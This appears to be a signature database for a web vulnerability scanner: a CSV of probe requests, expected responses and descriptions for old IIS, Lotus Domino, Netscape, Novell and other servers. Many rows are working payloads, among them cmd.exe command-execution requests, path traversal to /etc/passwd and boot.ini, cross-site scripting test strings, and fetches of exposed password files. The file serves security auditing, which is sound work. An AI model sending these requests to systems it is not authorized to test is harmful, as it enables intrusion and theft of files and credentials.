"iis","@CGIDIRSCgitest.exe","200","GET","This might be interesting... has been seen in web logs from a scanner."
"iis","@CGIDIRScmd.exe?/c+dir","200","GET","cmd.exe can execute arbitrary commands"
"iis","@CGIDIRScmd1.exe?/c+dir","200","GET","cmd1.exe can execute arbitrary commands"
"iis","@CGIDIRSfpsrvadm.exe","200","GET","Potentially vulnerable CGI program."
"iis","@CGIDIRShello.bat?&dir+c:\",","200","GET","This batch file may allow attackers to execute remote commands."
"iis","@CGIDIRSimagemap","200","GET","Possible variation: imagemap.exe installed could contain a buffer overflow. BID-1117."
"iis","@CGIDIRSimagemap.exe","200","GET","The version of imagemap.exe installed may contain a buffer overflow. CAN-2000-0122. CAN-2000-0256. BID-964. MS00-028."
"iis","@CGIDIRSinput.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\","boot.ini","GET","This CGI allows attackers to read files from the server."
"iis","@CGIDIRSinput2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\","boot.ini","GET","This CGI allows attackers to read files from the server."
"iis","@CGIDIRSmailform.exe","200","GET","This might be interesting... has been seen in web logs from a scanner."
"iis","@CGIDIRSMsmMask.exe","200","GET","MondoSearch 4.4 may allow source code viewing by requesting MsmMask.exe?mask=/filename.asp where 'filename.asp' is a real asp file."
"iis","@CGIDIRSms_proxy_auth_query/","200","GET","This might be interesting... has been seen in web logs from a scanner."
"iis","@CGIDIRSpost16.exe","200","GET","This might be interesting... has been seen in web logs from a scanner."
"iis","@CGIDIRSpost32.exe|dir%20c:\",","200","GET","post32 can execute arbitrary commands"
"iis","@CGIDIRSsensepost.exe?/c+dir","200","GET","The presence of sensepost.exe indicates the system is/was vulnerable to a Unicode flaw and was compromised with a test script from SensePost. The sensepost.exe allows command execution (it is a copy of cmd.exe), as did the original unicode exploit (see http://www.securitybugware.org/NT/1422.html). CVE-2000-0884."
"iis","@CGIDIRSshtml.dll","200","GET","This may allow attackers to retrieve document source."
"iis","@CGIDIRSSQLServ/sqlbrowse.asp?filepath=c:\&Opt=3","boot.ini","GET","Hosting Controller versions 1.4.1 and lower can allow arbitrary files/directories to be read. Upgrade."
"iis","@CGIDIRSstats/statsbrowse.asp?filepath=c:\&Opt=3","boot.ini","GET","Hosting Controller versions 1.4.1 and lower can allow arbitrary files/directories to be read. Upgrade."
"iis","@CGIDIRStest.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\","boot.ini","GET","This CGI allows attackers to read files from the server."
"iis","@CGIDIRStst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,","boot.ini","GET","This CGI allows attackers to execute arbitrary commands on the server."
"iplanet","/manual/servlets/scripts/servlet1/servform.htm","invokes a servlet","GET","iPlanet default servlet found. All default code should be removed."
"iplanet","/manual/servlets/scripts/shoes/shoeform.htm","invokes a jsp","GET","iPlanet default servlet found. All default code should be removed."
"jrun","/./","Index of ","GET","Appending '/./' to a directory allows indexing"
"lotus","/.nsf/../winnt/win.ini","200","GET","This win.ini file can be downloaded."
"lotus","/852566C90012664F","200","GET","This database can be read using the replica id without authentication."
"lotus","/?Open","200","GET","This displays a list of all databases on the server. ĘDisable this capability via server options."
"lotus","/?OpenServer","\/icons\/abook\.gif","GET","This install allows remote users to enumerate DB names, see http://www.securiteam.com/securitynews/6W0030U35W.html"
"lotus","/account.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/accounts.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/admin.nsf","200","GET","This database can be read without authentication."
"lotus","/admin4.nsf","200","GET","This database can be read without authentication."
"lotus","/admin5.nsf","200","GET","This database can be read without authentication."
"lotus","/agentrunner.nsf","200","GET","This database can be read without authentication."
"lotus","/alog.nsf","200","GET","This database can be read without authentication."
"lotus","/archive/a_domlog.nsf","200","GET","This database can be read without authentication."
"lotus","/archive/l_domlog.nsf","200","GET","This database can be read without authentication."
"lotus","/a_domlog.nsf","200","GET","This database can be read without authentication."
"lotus","/billing.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/bookmark.nsf","200","GET","This database can be read without authentication."
"lotus","/books.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/busytime.nsf","200","GET","This database can be read without authentication."
"lotus","/calendar.nsf","200","GET","This database can be read without authentication."
"lotus","/catalog.nsf","200","GET","A list of server databases can be retrieved, as well as a list of ACLs."
"lotus","/cersvr.nsf","200","GET","Server certificate data can be accessed remotely."
"lotus","/certa.nsf","200","GET","This database can be read without authentication."
"lotus","/certlog.nsf","200","GET","This database can be read without authentication."
"lotus","/certsrv.nsf","200","GET","This database can be read without authentication."
"lotus","/cgi-bin/testing_whatever","domino/cgi-bin","GET","The Domino server reveals the system path to the cgi-bin directory by requesting a bogus CGI."
"lotus","/chatlog.nsf","200","GET","This database can be read without authentication."
"lotus","/clbusy.nsf","200","GET","This database can be read without authentication."
"lotus","/cldbdir.nsf","200","GET","This database can be read without authentication."
"lotus","/clusta4.nsf","200","GET","This database can be read without authentication."
"lotus","/collect4.nsf","200","GET","This database can be read without authentication."
"lotus","/cpa.nsf","200","GET","This database can be read without authentication."
"lotus","/customerdata.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/da.nsf","200","GET","This database can be read without authentication."
"lotus","/database.nsf","200","GET","This database can be read without authentication, see http://www.perfectotech.com/blackwatchlabs/ for other exploits and details."
"lotus","/db.nsf","200","GET","This database can be read without authentication."
"lotus","/dba4.nsf","200","GET","This database can be read without authentication."
"lotus","/dclf.nsf","200","GET","This database can be read without authentication."
"lotus","/DEASAppDesign.nsf","200","GET","This database can be read without authentication."
"lotus","/DEASLog.nsf","200","GET","This database can be read without authentication."
"lotus","/DEASLog01.nsf","200","GET","This database can be read without authentication."
"lotus","/DEASLog02.nsf","200","GET","This database can be read without authentication."
"lotus","/DEASLog03.nsf","200","GET","This database can be read without authentication."
"lotus","/DEASLog04.nsf","200","GET","This database can be read without authentication."
"lotus","/DEASLog05.nsf","200","GET","This database can be read without authentication."
"lotus","/decsadm.nsf","200","GET","This database can be read without authentication."
"lotus","/decsdoc.nsf","200","GET","This database can be read without authentication."
"lotus","/decslog.nsf","200","GET","This database can be read without authentication."
"lotus","/DEESAdmin.nsf","200","GET","This database can be read without authentication."
"lotus","/default.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/dirassist.nsf","200","GET","This database can be read without authentication."
"lotus","/doc/domguide.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/dspug.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/help4.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/helpadmin.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/helplt4.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/internet.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/javapg.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/lccon.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/migrate.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/npn_admn.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/npn_rn.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/readmec.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/readmes.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/smhelp.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doc/srvinst.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/doladmin.nsf","200","GET","This database can be read without authentication."
"lotus","/dols_help.nsf","200","GET","This database can be read without authentication."
"lotus","/domadmin.nsf","200","GET","This database can be read without authentication."
"lotus","/domcfg.nsf","200","GET","This database can be read without authentication."
"lotus","/domguide.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/domlog.nsf","200","GET","The domain server logs can be accessed remotely."
"lotus","/dspug.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/event.nsf","200","GET","This database can be read without authentication."
"lotus","/events.nsf","200","GET","This database can be read without authentication."
"lotus","/events4.nsf","200","GET","The events log can be accessed remotely."
"lotus","/events5.nsf","200","GET","This database can be read without authentication."
"lotus","/group.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/groups.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/help/domguide.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/dspug.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/help4.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/helpadmin.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/helplt4.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/internet.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/javapg.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/lccon.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/migrate.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/npn_admn.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/npn_rn.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/readmec.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/readmes.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/smhelp.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help/srvinst.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help4.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/help5_admin.nsf","200","GET","This database can be read without authentication."
"lotus","/help5_client.nsf","200","GET","This database can be read without authentication."
"lotus","/help5_designer.nsf","200","GET","This database can be read without authentication."
"lotus","/helpadmin.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/helplt4.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/hidden.nsf","200","GET","This database can be read withoutauthentication. Common database name."
"lotus","/homepage.nsf","200","GET","This database can be read without authentication."
"lotus","/iNotes/Forms5.nsf","200","GET","This database can be read without authentication."
"lotus","/iNotes/Forms5.nsf/$DefaultNav","200","GET","This database can be read without authentication."
"lotus","/internet.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/javapg.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/jotter.nsf","200","GET","This database can be read without authentication."
"lotus","/kbccv11.nsf","200","GET","This database can be read without authentication."
"lotus","/kbnv11.nsf","200","GET","This database can be read without authentication."
"lotus","/kbssvv11.nsf","200","GET","This database can be read without authentication."
"lotus","/lccon.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/lcon.nsf","200","GET","This database can be read without authentication."
"lotus","/ldap.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/leiadm.nsf","200","GET","This database can be read without authentication."
"lotus","/leilog.nsf","200","GET","This database can be read without authentication."
"lotus","/leivlt.nsf","200","GET","This database can be read without authentication."
"lotus","/log.nsf","200","GET","The server log is remotely accessible."
"lotus","/log4a.nsf","200","GET","This database can be read without authentication."
"lotus","/lsxlc.nsf","200","GET","This database can be read without authentication."
"lotus","/l_domlog.nsf","200","GET","This database can be read without authentication."
"lotus","/mab.nsf","200","GET","This database can be read without authentication."
"lotus","/mail.box","200","GET","The mail database can be read without authentication."
"lotus","/mail/adminisist.nsf","200","GET","This database can be read without authentication."
"lotus","/mail1.box","200","GET","This database can be read without authentication."
"lotus","/mail10.box","200","GET","This database can be read without authentication."
"lotus","/mail2.box","200","GET","This database can be read without authentication."
"lotus","/mail3.box","200","GET","This database can be read without authentication."
"lotus","/mail4.box","200","GET","This database can be read without authentication."
"lotus","/mail5.box","200","GET","This database can be read without authentication."
"lotus","/mail6.box","200","GET","This database can be read without authentication."
"lotus","/mail7.box","200","GET","This database can be read without authentication."
"lotus","/mail8.box","200","GET","This database can be read without authentication."
"lotus","/mail9.box","200","GET","This database can be read without authentication."
"lotus","/mailw46.nsf","200","GET","This database can be read without authentication."
"lotus","/migrate.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/msdwda.nsf","200","GET","This database can be read without authentication."
"lotus","/mtatbls.nsf","200","GET","This database can be read without authentication."
"lotus","/mtdata/mtstore.nsf","200","GET","This database can be read without authentication."
"lotus","/mtstore.nsf","200","GET","This database can be read without authentication."
"lotus","/names.nsf","200","GET","User names and groups can be accessed remotely (possibly password hashes a well)"
"lotus","/nntp/nd000000.nsf","200","GET","This database can be read without authentication."
"lotus","/nntp/nd000001.nsf","200","GET","This database can be read without authentication."
"lotus","/nntp/nd000002.nsf","200","GET","This database can be read without authentication."
"lotus","/nntp/nd000003.nsf","200","GET","This database can be read without authentication."
"lotus","/nntp/nd000004.nsf","200","GET","This database can be read without authentication."
"lotus","/nntppost.nsf","200","GET","This database can be read without authentication."
"lotus","/notes.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/npn_admn.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/npn_rn.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/ntsync4.nsf","200","GET","This database can be read without authentication."
"lotus","/ntsync45.nsf","200","GET","This database can be read without authentication."
"lotus","/open?","200","GET","The Lotus server allows directory browsing by putting ?open after a directory name."
"lotus","/perweb.nsf","200","GET","This database can be read without authentication."
"lotus","/private.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/public.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/qpadmin.nsf","200","GET","This database can be read without authentication."
"lotus","/quickplace/quickplace/main.nsf","200","GET","This database can be read without authentication."
"lotus","/quickstart/qstart50.nsf","200","GET","This database can be read without authentication."
"lotus","/quickstart/wwsample.nsf","200","GET","This database can be read without authentication."
"lotus","/readme.nsf","200","GET","This database can be read without authentication."
"lotus","/readmec.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/readmes.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/reports.nsf","200","GET","This database can be read without authentication."
"lotus","/sample/faqw46","200","GET","This database can be read without authentication."
"lotus","/sample/framew46","200","GET","This database can be read without authentication."
"lotus","/sample/pagesw46","200","GET","This database can be read without authentication."
"lotus","/sample/siregw46","200","GET","This database can be read without authentication."
"lotus","/sample/site1w4646","200","GET","This database can be read without authentication."
"lotus","/sample/site2w4646","200","GET","This database can be read without authentication."
"lotus","/sample/site3w4646","200","GET","This database can be read without authentication."
"lotus","/schema50.nsf","200","GET","This database can be read without authentication."
"lotus","/secret.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/setup.nsf","200","GET","The server can be configured remotely, or current setup can be downloaded."
"lotus","/setupweb.nsf","200","GET","This database can be read without authentication."
"lotus","/smbcfg.nsf","200","GET","This database can be read without authentication."
"lotus","/smconf.nsf","200","GET","This database can be read without authentication."
"lotus","/smency.nsf","200","GET","This database can be read without authentication."
"lotus","/smhelp.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/smmsg.nsf","200","GET","This database can be read without authentication."
"lotus","/smquar.nsf","200","GET","This database can be read without authentication."
"lotus","/smsolar.nsf","200","GET","This database can be read without authentication."
"lotus","/smtime.nsf","200","GET","This database can be read without authentication."
"lotus","/smtp.box","200","GET","This database can be read without authentication."
"lotus","/smtp.nsf","200","GET","This database can be read without authentication."
"lotus","/smtpibwq.nsf","200","GET","This database can be read without authentication."
"lotus","/smtpobwq.nsf","200","GET","This database can be read without authentication."
"lotus","/smtptbls.nsf","200","GET","This database can be read without authentication."
"lotus","/smvlog.nsf","200","GET","This database can be read without authentication."
"lotus","/software.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/srvinst.nsf","200","GET","This documentation database can be read without authentication."
"lotus","/srvnam.htm","200","GET","This database can be read without authentication."
"lotus","/statmail.nsf","200","GET","This database can be read without authentication."
"lotus","/statrep.nsf","200","GET","Any reports generated by the admins can be retrieved."
"lotus","/stauths.nsf","200","GET","This database can be read without authentication."
"lotus","/stautht.nsf","200","GET","This database can be read without authentication."
"lotus","/stconf.nsf","200","GET","This database can be read without authentication."
"lotus","/stconfig.nsf","200","GET","This database can be read without authentication."
"lotus","/stdnaset.nsf","200","GET","This database can be read without authentication."
"lotus","/stdomino.nsf","200","GET","This database can be read without authentication."
"lotus","/stlog.nsf","200","GET","This database can be read without authentication."
"lotus","/streg.nsf","200","GET","This database can be read without authentication."
"lotus","/stsrc.nsf","200","GET","This database can be read without authentication."
"lotus","/test.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/today.nsf","200","GET","This database can be read without authentication."
"lotus","/userreg.nsf","200","GET","This database can be read without authentication."
"lotus","/users.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/vpuserinfo.nsf","200","GET","This database can be read without authentication."
"lotus","/web.nsf","200","GET","This database can be read without authentication."
"lotus","/webadmin.nsf","200","GET","The server admin database can be accessed remotely."
"lotus","/webuser.nsf","200","GET","This database can be read without authentication."
"lotus","/welcome.nsf","200","GET","This database can be read without authentication. Common database name."
"lotus","/wksinst.nsf","200","GET","This database can be read without authentication."
"lotus","@CGIDIRScom5..........................................................................................................................................................................................................................box","Execution of Perl script","GET","Lotus reveals file system paths when requesting DOS devices with bad syntax."
"lotus","@CGIDIRScom5.java","Execution of","GET","Lotus reveals file system paths when requesting DOS devices with bad syntax."
"lotus","@CGIDIRScom5.pl","Execution of Perl script","GET","Lotus reveals file system paths when requesting DOS devices with bad syntax."
"mipcd","/LOGIN.PWD","200","GET","MIPCD password file (passwords are not encrypted). MIPDCD should not have the web interface enabled."
"mipcd","/USER/CONFIG.AP","200","GET","MIPCD configuration information. MIPCD should not have the web interface enabled."
"msmfc","/surf/scwebusers","200","GET","SurfControl SuperScout Web Reports Server user and password file is available. CAN-2002-0705."
"mycio","/.../.../.../","Last Modified","GET","The myCIO server allows directory traversal."
"mywebserver","/JUNK(223)<font%20size=50><script>alert('Vulnerable')</script><!--//--","<script>alert('Vulnerable')</script>","GET","MyWebServer 1.0.2 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"mywebserver","/JUNK(223)<font%20size=50>DEFACED<!--//--","DEFACED","GET","MyWebServer 1.0.2 is vulnerable to HTML injection. Upgrade to a later version."
"mywebserver","/MWS/HandleSearch.html?searchTarget=test&B1=Submit","200","GET","MyWebServer 1.0.2 may be vulnerable to a buffer overflow (untested). Upgrade to a later version if 990b of searched data crashes the server."
"ncsa","@CGIDIRSarchie","200","GET","Gateway to the unix command, may be able to submit extra commands"
"ncsa","@CGIDIRScalendar","200","GET","Gateway to the unix command, may be able to submit extra commands"
"ncsa","@CGIDIRScalendar.pl","200","GET","Gateway to the unix command, may be able to submit extra command...yet another check"
"ncsa","@CGIDIRSdate","200","GET","Gateway to the unix command, may be able to submit extra commands"
"ncsa","@CGIDIRSfinger","200","GET","Gateway to the unix command, may be able to submit extra commands"
"ncsa","@CGIDIRSfortune","200","GET","Gateway to the unix command, may be able to submit extra commands"
"ncsa","@CGIDIRSjj","200","GET","Allows attackers to execute commands as http daemon"
"ncsa","@CGIDIRSmail","200","GET","Simple PERL mailing script to send form data to a pre-configured email address"
"ncsa","@CGIDIRSnph-error.pl","200","GET","Gives more information in error messages"
"ncsa","@CGIDIRSpost-query","200","POST","Echoes back result of your POST"
"ncsa","@CGIDIRSquery","200","GET","Echoes back result of your GET"
"ncsa","@CGIDIRSredirect","200","GET","Redirects via URL from form"
"ncsa","@CGIDIRStest-cgi.tcl","200","GET","May echo environment variables or give directory listings"
"ncsa","@CGIDIRStest-env","200","GET","May echo environment variables or give directory listings"
"ncsa","@CGIDIRSuptime","200","GET","Gateway to the unix command, may be able to submit extra commands"
"ncsa","@CGIDIRSwais.pl","200","GET","Gateway to the unix command, may be able to submit extra commands"
"netscape","/","Index of ","get","Fasttrack can give a directory listing if issued 'get' instead of 'GET'."
"netscape","/","Index of ","INDEX","Netscape web publisher can give directory listings with the INDEX tag. Disable INDEX or Web Publisher."
"netscape","/.nsconfig","200","GET","Contains authorization information"
"netscape","/.perf","ListenSocket","GET","Contains Netscape/iPlanet server performance information"
"netscape","//","Proxy autoconfig","GET","Proxy auto configuration file retrieved."
"netscape","/?PageServices","Index of ","GET","Server allows directory indexing with ?PageServices"
"netscape","/?wp-cs-dump","Index of ","GET","The remote server may allow directory listings through Web Publisher. Web Publisher should be disabled."
"netscape","/admin-serv/config/admpw","200","GET","This file contains the encrypted Netscape admin password. It should not be accessible via the web."
"netscape","/help/contents.htm","200","GET","Default Netscape manual found. All default pages should be removed."
"netscape","/help/home.html","200","GET","Default Netscape manual found. All default pages should be removed."
"netscape","/manual/ag/esperfrm.htm","200","GET","Default Netscape manual found. All default pages should be removed."
"netscape","/mc-icons/","Index of","GET","Default Netscape/iPlanet ns-icons and mc-icons are present. Edit the obj.conf and remove them. All default files should be removed."
"netscape","/nethome/","200","GET","Netscape Enterprise Server default doc/manual directory. Reveals server path at bottom of page."
"netscape","/ns-icons/","Index of","GET","Default Netscape/iPlanet ns-icons and mc-icons are present. Edit the obj.conf and remove them. All default files should be removed."
"netscape","/PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd","root:","GET","This default Netscape file allows an attacker to read arbitrary files on the host. It should be removed."
"netscape","/publisher/","200","GET","Netscape Publisher. May have ability to edit files on the server. May be able to list arbitrary directories via GET request. CVE-2000-0237"
"netscape","/search","search-ui/applet","GET","Netscape search for iPlanet versions 4.1 lower than SP 10 and iPlanet 6 lower than SP 3 are vulnerable to a buffer overflow. Search is enabled on this server but the BO could not be confirmed."
"netscape","/search?NS-query-pat=../../../../../../../../../../etc/passwd","root:","GET","The iPlanet server allows arbitrary files to be retrieved through the search functionality. Install 4.1 SP10+ or 6.0 SP3+"
"netscape","/search?NS-query-pat=..\..\..\..\..\..\..\..\..\..\boot.ini","boot loader","GET","The iPlanet server allows arbitrary files to be retrieved through the search functionality. Install 4.1 SP10+ or 6.0 SP3+"
"netscape","/_vti_pvt/administrators.pwd","200","GET","these contain passwords encrypted with unix crypt()"
"netscape","/_vti_pvt/authors.pwd","200","GET","these contain passwords encrypted with unix crypt()"
"netscape","/_vti_pvt/users.pwd","200","GET","these contain passwords encrypted with unix crypt()"
"netscape","@CGIDIRS.nsconfig","200","GET","Contains authorization information"
"novell","/cgi-bin/GW5/GWWEB.EXE","200","GET","Groupwise web interface"
"novell","/cgi-bin/GW5/GWWEB.EXE?GET-CONTEXT&HTMLVER=AAA","SYS:","GET","Some Netware web servers reveal the system path to files when unexpected arguments are sent to CGI."
"novell","/com/novell/gwmonitor/help/en/default.htm","200","GET","Netware gateway monitor access documentation found. All default documentation should be removed from web servers."
"novell","/com/novell/webaccess/help/en/default.htm","200","GET","Netware web access documentation found. All default documentation should be removed from web servers."
"novell","/com/novell/webpublisher/help/en/default.htm","200","GET","Netware web publisher documentation found. All default documentation should be removed from web servers."
"novell","/lcgi/lcgitest.nlm","200","GET","Novell web server shows the server environment"
"novell","/lcgi/ndsobj.nlm","SCRIPT_NAME","GET","Novell Netware 5.1 contains a buffer overflow, also, if Groupwise is enabled remote enumeration of users, groups and system information might be possible (CAN-2001-1233)"
"novell","/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/jabber/comment2.jse+/system/autoexec.ncf","SET CLIENT FILE","GET","Default scripts can allow arbitrary access to the host."
"novell","/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse","SERVER_SOFTWARE","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
"novell","/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+httplist/../../../../../system/autoexec.ncf","Source for file","GET","Novell web server allows any file on the system to viewed through the viewcode.jsp file"
"novell","/lcgi/sys:/novonyx/suitespot/docs/sewse/misc/test.jse","SCRIPT_NAME","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
"novell","/netbasic/websinfo.bas","Company","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
"novell","/nsn/..%5Cutil/dir.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
"novell","/nsn/..%5Cutil/dsbrowse.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
"novell","/nsn/..%5Cutil/slist.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
"novell","/nsn/env.bas","200","GET","Novell web server shows the server environment and is vulnerable to cross-side scripting"
"novell","/nsn/fdir.bas","200","GET","You can use fdir to ShowVolume and ShowDirectory."
"novell","/nsn/fdir.bas:ShowVolume","200","GET","You can use ShowVolume and ShowDirectory directly on the Novell server (NW5.1) to view the filesystem without having to log in"
"novell","/perl/-e%20print%20Hello","200","GET","The PERL interpreter on the novell system may allow any command to be executed. See BID-5520. Installing Perl 5.6 might fix this issue."
"novell","/perl/env.pl","HSERVER_SOFTWARE","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
"novell","/perl/files.pl","200","GET","This might be interesting..."
"novell","/perl/samples/env.pl","HSERVER_SOFTWARE","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
"novell","/perl/samples/lancgi.pl","Lan Boards","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
"novell","/perl/samples/ndslogin.pl","Fullname","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
"novell","/perl/samples/volscgi.pl","Size","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
"novell","/perl5/files.pl","200","GET","This might be interesting..."
"novell","/scripts/convert.bas","200","GET","This might be interesting..."
"novell","/scripts/GW5/GWWEB.EXE","200","GET","Groupwise web interface"
"novell","/se/?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse","SERVER_SOFTWARE","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
"novell","/servlet/AdminServlet","200","GET","Netware Web Search Server (adminservlet) found. All default code should be removed from web servers."
"novell","/servlet/gwmonitor","200","GET","Netware Gateway monitor found. All default code should be removed from web servers."
"novell","/servlet/PrintServlet","200","GET","Novell Netware default servlet found. All default code should be removed from the system."
"novell","/servlet/SearchServlet","200","GET","Novell Netware default servlet found. All default code should be removed from the system."
"novell","/servlet/ServletManager","401","GET","Netware Java Servlet Gateway found. Default user id is servlet, default password is manager. All default code should be removed from Internet servers."
"novell","/servlet/SessionServlet","200","GET","Netware WebSphere found. All default code should be removed from web servers."
"novell","/servlet/SimpleServlet","200","GET","Netware Websphere simpleservlet found. All default code should be removed from web servers."
"novell","/servlet/SnoopServlet","200","GET","Netware Java Servlet Gateway and/or WebSphere found. All default code should be removed from web servers."
"novell","/servlet/sq1cdsn","200","GET","Novell Netware default servlet found. All default code should be removed from the system."
"novell","/servlet/sqlcdsn","401","GET","Netware SQL connector found. All default code should be removed from web servers."
"novell","/servlet/webacc","200","GET","Netware Enterprise and/or GroupWise web access found. All default code should be removed from Internet servers."
"novell","/servlet/webacc?User.html=../../../../../../../../../../../../../../../../../../boot.ini%00","[boot loader]","GET","The Novell Groupwise WebAcc Servlet allows attackers to view arbitrary files on the server."
"novell","/servlet/webacc?User.html=../../../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","The Novell Groupwise WebAcc Servlet allows attackers to view arbitrary files on the server."
"novell","/servlet/webacc?User.html=noexist","templates/","GET","Netware web access may reveal full path of the web server. Apply vendor patch or upgrade."
"novell","/servlet/webpub","200","GET","Netware Web Publisher found. All default code should be removed from web servers."
"novell","/WebSphereSamples","200","GET","Netware Webshere sample applications found. All default code should be removed from web servers."
"novell","@CGIDIRSGW5/GWWEB.EXE?HELP=somewhereovertherainbow","200","GET","The Gwweb.exe program can allow attackers to view arbitrary files on the server."
"omnihttpd","/test.php%20","<?","GET","The OmniHTTP install may allow php/shtml/pl script disclosure.  Upgrade to the latest version."
"omnihttpd","/test.php?%3CSCRIPT%3Ealert('Vulnerable')%3C%2FSCRIPT%3E=x","<SCRIPT>alert('Vulnerable')</SCRIPT>","GET","OmniHTTPD's test.php is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"omnihttpd","/test.shtml?%3CSCRIPT%3Ealert('Vulnerable')%3C%2FSCRIPT%3E=x","<SCRIPT>alert('Vulnerable')</SCRIPT>","GET","OmniHTTPD's test.shtml is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"omnihttpd","@CGIDIRSimagemap.exe","200","GET","The version of imagemap.exe installed could contain a buffer overflow. CVE-1999-0951. BID-739."
"omnihttpd","@CGIDIRSredir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3CSCRIPT%3Ealert%28%27Vulnerable%27%29%3C%2FSCRIPT%3E","<script>alert('Vulnerable')</script>","GET","OmniHTTPD's redir.exe is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"oracle","/owa_util%2esignature","200","GET","unknown--may be interesting"
"sambar","/cgi-win/cgitest.exe","200","GET","This CGI may allow the server to be crashed remotely, see http://www.securityoffice.net/ for details.  Remove this default CGI."
"sambar","/search/results.stm?query=&lt;script&gt;alert('vulnerable');&lt;/script&gt;","<script>alert('Vulnerable')</script>","GET","Default Sambar file is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"sambar","@CGIDIRSmailit.pl","200","GET","Sambar may allow anonymous email to be sent from any host via this CGI."
"sambar","@CGIDIRSPbcgi.exe","200","GET","Sambar may be vulnerable to a DOS when a long string is passed to Pbcgi.exe (not attempted). Default CGI should be removed from web servers."
"sambar","@CGIDIRStestcgi.exe","200","GET","Sambar may be vulnerable to a DOS when a long string is passed to testcgi.exe (not attempted). Default CGI should be removed from web servers."
"savant","@CGIDIRScgitest.exe","200","GET","This CGI allows remote users to download other CGI source code. May have a buffer overflow in the User-Agent header."
